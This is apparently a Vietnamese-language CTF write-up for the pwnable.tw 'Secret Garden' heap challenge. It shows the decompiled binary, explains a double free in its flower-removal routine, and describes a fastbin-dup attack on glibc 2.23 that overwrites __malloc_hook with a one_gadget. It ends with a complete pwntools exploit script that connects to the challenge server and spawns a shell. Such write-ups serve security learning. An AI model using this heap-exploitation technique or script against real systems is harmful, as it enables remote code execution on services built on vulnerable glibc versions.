Secret Garden
tl;dr: Bớt giả định, nhìn xem dòng code đang thực sự làm gì; Ghi one gadget vào realloc hook, ghi realloc vào malloc hook; hoặc ghi one gadget vào malloc hook và double free để trigger malloc printerr.
Recon
Mitigation
$ pwn checksec secretgarden
[*] '/home/hungnt/pwnable.tw/secret-garden/secretgarden'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled$ file secretgarden
secretgarden: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cc989aba681411cb235a53b6c5004923d557ab6a, strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.23/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x7eed18c00000
/home/hungnt/pwnable.tw/secret-garden/libc_64.so.6
ld is at: 0x7eed19000000
/home/hungnt/pwnable.tw/secret-garden/ld-2.23.so
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesCode
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char choice[8]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
setup();
while ( 1 )
{
menu();
read(0, choice, 4uLL);
switch ( (unsigned int)strtol(choice, 0LL, 10) )
{
case 1u:
raise_flower();
break;
case 2u:
visit_garden();
break;
case 3u:
remove_flower();
break;
case 4u:
clean_garden();
break;
case 5u:
puts("See you next time.");
exit(0);
default:
puts("Invalid choice");
break;
}
}
}raise_flower()
int raise_flower()
{
struct_flower *flower; // rbx
void *name; // rbp
_QWORD *v2; // rcx
int index; // edx
unsigned int size; // [rsp+4h] [rbp-24h] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-20h]
canary = __readfsqword(0x28u);
size = 0;
if ( total_flowers > 99u )
return puts("The garden is overflow");
flower = (struct_flower *)malloc(40uLL);
flower->used = 0LL;
flower->name = 0LL;
*(_QWORD *)flower->color = 0LL;
*(_QWORD *)&flower->color[8] = 0LL;
*(_QWORD *)&flower->color[16] = 0LL;
__printf_chk(1LL, "Length of the name :");
if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
exit(-1);
name = malloc(size);
if ( !name )
{
puts("Alloca error !!");
exit(-1);
}
__printf_chk(1LL, "The name of flower :");
read(0, name, size);
flower->name = (char *)name;
__printf_chk(1LL, "The color of the flower :");
__isoc99_scanf("%23s", flower->color);
LODWORD(flower->used) = 1;
if ( flowers[0] )
{
v2 = &flowers[1];
index = 1;
while ( *v2 )
{
++index;
++v2;
if ( index == 100 )
goto LABEL_13;
}
}
else
{
index = 0;
}
flowers[index] = flower;
LABEL_13:
++total_flowers;
return puts("Successful !");
}visit_garden()
int visit_garden()
{
__int64 index; // rbx
struct_flower *current_flower; // rax
index = 0LL;
if ( total_flowers )
{
do
{
current_flower = (struct_flower *)flowers[index];
if ( current_flower && LODWORD(current_flower->used) )
{
__printf_chk(1LL, "Name of the flower[%u] :%s\n", (unsigned int)index, current_flower->name);
LODWORD(current_flower) = __printf_chk(
1LL,
"Color of the flower[%u] :%s\n",
(unsigned int)index,
(const char *)(flowers[index] + 16LL));
}
++index;
}
while ( index != 100 );
}
else
{
LODWORD(current_flower) = puts("No flower in the garden !");
}
return (int)current_flower;
}remove_flower()
int remove_flower()
{
struct_flower *current_flower; // rax
unsigned int index; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !total_flowers )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &index);
if ( index <= 99 && (current_flower = (struct_flower *)flowers[index]) != 0LL )
{
LODWORD(current_flower->used) = 0; // doesnt free flower, only set used to 0
free(*(void **)(flowers[index] + 8LL)); // free name but doesnt set null
return puts("Successful");
}
else
{
puts("Invalid choice");
return 0;
}
}clean_garden()
unsigned __int64 clean_garden()
{
_QWORD *current_flower_ptr; // rbx
_DWORD *current_flower; // rdi
unsigned __int64 v3; // [rsp+8h] [rbp-20h]
v3 = __readfsqword(0x28u);
current_flower_ptr = flowers;
do
{
current_flower = (_DWORD *)*current_flower_ptr;
if ( *current_flower_ptr && !*current_flower )// only free unused flower
{
free(current_flower); // free flower but doesnt free name
*current_flower_ptr = 0LL;
--total_flowers;
}
++current_flower_ptr;
}
while ( current_flower_ptr != &flowers[100] );
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}Solve
remove_flower() chỉ đặt trường used = 0 và free name, nhưng lại ko set trường name về null. Những lần remove_flower() sau vì chỉ check con trỏ flower, nên tiếp tục free name, dẫn đến double free.
Vì glibc hiện đang là phiên bản 2.23, mình lợi dụng fastbin dup để có đc AAW.
Sau khi leak đc libc, mình ghi đè one_gadget vào malloc_hook, nhưng ko thoã mãn đc điều kiện cái nào. Tiếp đến mình thử ghi one_gadget vào realloc_hook, ghi địa chỉ của hàm realloc() vào malloc_hook, nhưng vẫn ko thoả mãn đc cái nào. Cuối cùng, mình lại ghi one_gadget vào malloc_hook, nhưng lần này gây double free, dẫn đến malloc_printerr() đc gọi, bằng theo path nào đó gọi đến malloc_hook nhưng với stack sạch hơn. Và mình đã spawn đc shell.
Thanks to kur0x1412 đã chỉ ra cho mình libc dưới version 2.32 thì malloc ko quan tâm về alignment khi lấy chunk ra từ fastbin, thì mình mới cấp phát đến và ghi đè đc malloc_hook. Và trick double free để gọi malloc_hook như ở trên :)
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("secretgarden_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *realloc
b *__malloc_hook
# breakrva 0xCD3
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.25)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10203
return remote(host, port)
p = conn()
def raise_flower(size, name, color):
slan(p, b'choice', 1)
slan(p, b'Length', size)
sa(p, b'name of flower', name)
sleep(0.01)
slan(p, b'color', color)
def visit_garden():
slan(p, b'choice', 2)
def remove_flower(index):
slan(p, b'choice', 3)
slan(p, b'remove', index)
def clean_garden():
slan(p, b'choice', 4)
raise_flower(0x410, b'A', b'A') # 0
raise_flower(0x60, b'A', b'A') # 1
raise_flower(0x60, b'A', b'A') # 2
raise_flower(0x60, b'A', b'A') # 3
print("Leaking libc")
remove_flower(0)
clean_garden()
raise_flower(0x410, b'A', b'A') # 0
visit_garden()
ru(p, b'flower[0] :')
libc.address = leak_bytes(rn(p, 6), 0x3c3b41)
lg("libc base", libc.address)
print("Overwriting hooks")
remove_flower(1)
remove_flower(2)
remove_flower(1)
malloc_hook = libc.symbols['__malloc_hook']
lg("malloc hook", malloc_hook)
raise_flower(0x60, p64(malloc_hook - 0x23), b'A')
raise_flower(0x60, b'A', b'A')
raise_flower(0x60, b'A', b'A')
one_gadget = libc.address + 0xef6c4
lg("one gadget", one_gadget)
raise_flower(0x60, pad(0x13) + p64(one_gadget), b'A')
print("Trigger malloc printerr")
remove_flower(3)
remove_flower(3)
print("Spawn shell")
rr(p, 1)
ia(p)